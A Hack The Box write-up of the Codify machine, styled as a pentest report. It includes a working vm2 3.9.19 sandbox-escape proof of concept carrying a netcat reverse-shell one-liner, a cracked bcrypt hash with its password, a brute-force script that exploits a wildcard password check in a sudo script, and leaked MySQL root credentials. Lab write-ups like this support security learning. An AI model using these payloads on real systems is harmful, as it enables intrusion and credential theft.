writeup 2024-01-25 · 6 min read

Hack The Box Codify Writeup (Easy Linux)

Easy Linux box. A vm2 sandbox escape in the Codify editor gives a shell as svc, a cracked hash from tickets.db gives joshua, and a wildcard compare gives root.

Hack The Box Codify Writeup (Easy Linux)

Summary

Codify hosts an online Node.js editor that runs submitted code inside vm2 3.9.19, a version whose Promise handler sanitization can be bypassed through the @@species accessor. The public proof of concept escapes the sandbox and runs commands, giving a reverse shell as svc. That account can read /var/www/contact/tickets.db, a SQLite database holding joshua’s password hash, which hashcat recovers in mode 3200 for an SSH login. joshua may run /opt/scripts/mysql-backup.sh as root, and the script compares the supplied password with double brackets, so the shell treats it as a pattern and a bare asterisk matches. That flaw allows brute forcing the password one character at a time, or simply watching pspy print the cleartext credentials in the process list, and either route ends as root.

export IP=10.10.11.239

Service Enumeration

IP AddressPorts Open
10.10.11.239TCP: 22, 80

BS01: Initial Access - Sandbox Escape in vm2@3.9.19 via Promise[@@species]

Vulnerability Explanation: Codify editor is using vm2 to sandbox user code for security reasons. The problem is that in vm2 for versions up to 3.9.19, Promise handler sanitization can be bypassed with @@species accessor property, allowing attackers to escape the sandbox and run arbitrary code.

Severity: High

Vulnerability Fix: Update vm2

Steps to Reproduce the Attack:

  1. Head to http://codify.htb/editor
  2. Use netcat to listen on port 1337: nc -lvnp 1337
  3. Use the following proof of concept to execute arbitrary commands on the remote host:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
const {VM} = require("vm2");
const vm = new VM();

const code = `
async function fn() {
    (function stack() {
        new Error().stack;
        stack();
    })();
}
p = fn();
p.constructor = {
    [Symbol.species]: class FakePromise {
        constructor(executor) {
            executor(
                (x) => x,
                (err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc YOUR-TUN0-IP 1337 >/tmp/f'); }
            )
        }
    }
};
p.then();
`;

console.log(vm.run(code));

Reference

Post Exploitation

LPE (Local Privilege Escalation) to joshua

Vulnerability Explanation: svc user has access to a tickets database that contains joshua’s hashed password. Unfortunately, joshua is using a weak password and the pentester was able to crack the password hash with ease.

Severity: High

Steps to Reproduce the Attack:

  1. Use sqlite3 to dump information from /var/www/contact/tickets.db:
1
2
3
4
5
6
7
8
9
10
11
12
13
svc@codify:/var/www/contact$ sqlite3 tickets.db 
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite> .tables;
Error: unknown command or invalid arguments:  "tables;". Enter ".help" for help
sqlite> .tables
tickets  users  
sqlite> select * from users
   ...> ;
3|joshua|$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
sqlite> select * from tickets;
1|Tom Hanks|Need networking modules|I think it would be better if you can implement a way to handle network-based stuff. Would help me out a lot. Thanks!|open
2|Joe Williams|Local setup?|I use this site lot of the time. Is it possible to set this up locally? Like instead of coming to this site, can I download this and set it up in my own computer? A feature like that would be nice.|open
  1. Copy the hash to your attacking machine and save it to a file named ‘hash.txt’.
  2. Use hashcat to crack the password hash:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ hashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt 

hashcat (v6.2.6) starting

$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2:spongebob1
¨NBSP;
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLH.../p/Zw2
Time.Started.....: Sun Nov  5 11:42:12 2023 (1 min, 13 secs)
Time.Estimated...: Sun Nov  5 11:43:25 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:       19 H/s (8.53ms) @ Accel:4 Loops:32 Thr:1 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 1360/14344385 (0.01%)
Rejected.........: 0/1360 (0.00%)
Restore.Point....: 1344/14344385 (0.01%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:4064-4096
Candidate.Engine.: Device Generator
Candidates.#1....: teacher -> 080808
Hardware.Mon.#1..: Util: 88%

Started: Sun Nov  5 11:41:22 2023
Stopped: Sun Nov  5 11:43:26 2023
  1. Log in as joshua via SSH: ssh joshua@codify.htb

LPE (Local Privilege Escalation) to root

Vulnerability Explanation: Joshua user can run /opt/scripts/mysql-backup.sh as root, and there is a logic flaw in the source code.

The issue here lies in the wildcard character ‘*’ being used in the password comparison. In Bash, ‘*’ is a wildcard that matches any sequence of characters. When the user types ‘k*’, it essentially means “any password starting with ‘k’”.

In the script’s password comparison line:

1
if [[ $DB_PASS == $USER_PASS ]]; then

The double brackets [[ ... ]] perform pattern matching, and since ‘*’ is a wildcard, it matches any characters. Therefore, if the actual password starts with ‘k’, the condition will evaluate to true, even if additional characters follow.

The attacker can perform a bruteforce attack, eventually getting the entire password correct, or use a tool like pspy to watch for the cleartext credentials.

Severity: Extreme

Vulnerability Fix: To fix this, you can use the = operator for string comparison, which doesn’t interpret ‘*’ as a wildcard. Update the line to:

1
if [ "$DB_PASS" = "$USER_PASS" ]; then

This will compare the strings without wildcard interpretation, ensuring that the password entered by the user must exactly match the stored password.

Steps to Reproduce the Attack: Method 1 - Bruteforce:

  1. Create a python script to bruteforce the password:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import string
import subprocess

def check_password(password):
    command = f"echo '{password}*' | sudo /opt/scripts/mysql-backup.sh"
    result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
    return "Password confirmed!" in result.stdout

def find_password():
    all_characters_and_numbers = string.ascii_letters + string.digits
    password = ""

    try:
        while True:
            for character in all_characters_and_numbers:
                if check_password(password + character):
                    password += character
                    print(password)
                    break
            else:
                raise StopIteration

    except StopIteration:
        return password

def main():
    found_password = find_password()

    if found_password:
        print(f"Password found: {found_password}")
    else:
        print("Password not found.")

if __name__ == "__main__":
    main()

Steps to Reproduce the Attack: Method 2 - Monitoring processes:

  1. Upload pspy to the remote machine
  2. Guess the first character of the password by running: sudo -u root /opt/scripts/mysql-backup.sh and typing a letter between a-z and a * wildcard (in this case, the first letter is: k*)
  3. Run pspy to monitor the processes: ./pspy
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
2023/11/05 19:20:57 CMD: UID=0     PID=218438 | /bin/bash /opt/scripts/mysql-backup.sh 
2023/11/05 19:20:57 CMD: UID=0     PID=218439 | /bin/bash /opt/scripts/mysql-backup.sh 
2023/11/05 19:20:57 CMD: UID=0     PID=218440 | /bin/bash /opt/scripts/mysql-backup.sh 
2023/11/05 19:20:57 CMD: UID=0     PID=218442 | /bin/bash /opt/scripts/mysql-backup.sh 
2023/11/05 19:20:57 CMD: UID=0     PID=218441 | /bin/bash /opt/scripts/mysql-backup.sh 
2023/11/05 19:20:57 CMD: UID=0     PID=218443 | /usr/bin/grep -Ev (Database|information_schema|performance_schema)                                                                        
2023/11/05 19:20:57 CMD: UID=0     PID=218446 | /bin/bash /opt/scripts/mysql-backup.sh 
2023/11/05 19:20:57 CMD: UID=0     PID=218448 | /bin/bash /opt/scripts/mysql-backup.sh 
2023/11/05 19:20:57 CMD: UID=0     PID=218447 | /usr/bin/mysqldump --force -u root -h 0.0.0.0 -P 3306 -pkljh12k3jhaskjh12kjh3 mysql                                                       
2023/11/05 19:20:57 CMD: UID=0     PID=218449 | /bin/bash /opt/scripts/mysql-backup.sh 
2023/11/05 19:20:57 CMD: UID=0     PID=218451 | /bin/bash /opt/scripts/mysql-backup.sh 
2023/11/05 19:20:57 CMD: UID=0     PID=218450 | /bin/bash /opt/scripts/mysql-backup.sh 
2023/11/05 19:20:58 CMD: UID=0     PID=218452 | /bin/bash /opt/scripts/mysql-backup.sh 
2023/11/05 19:20:58 CMD: UID=0     PID=218453 | /bin/bash /opt/scripts/mysql-backup.sh 
2023/11/05 19:20:58 CMD: UID=0     PID=218454 | 
2023/11/05 19:20:58 CMD: UID=0     PID=218455 | 
2023/11/05 19:20:58 CMD: UID=0     PID=218456 | /bin/bash /opt/scripts/mysql-backup.sh
This post is licensed under CC BY 4.0 by the author.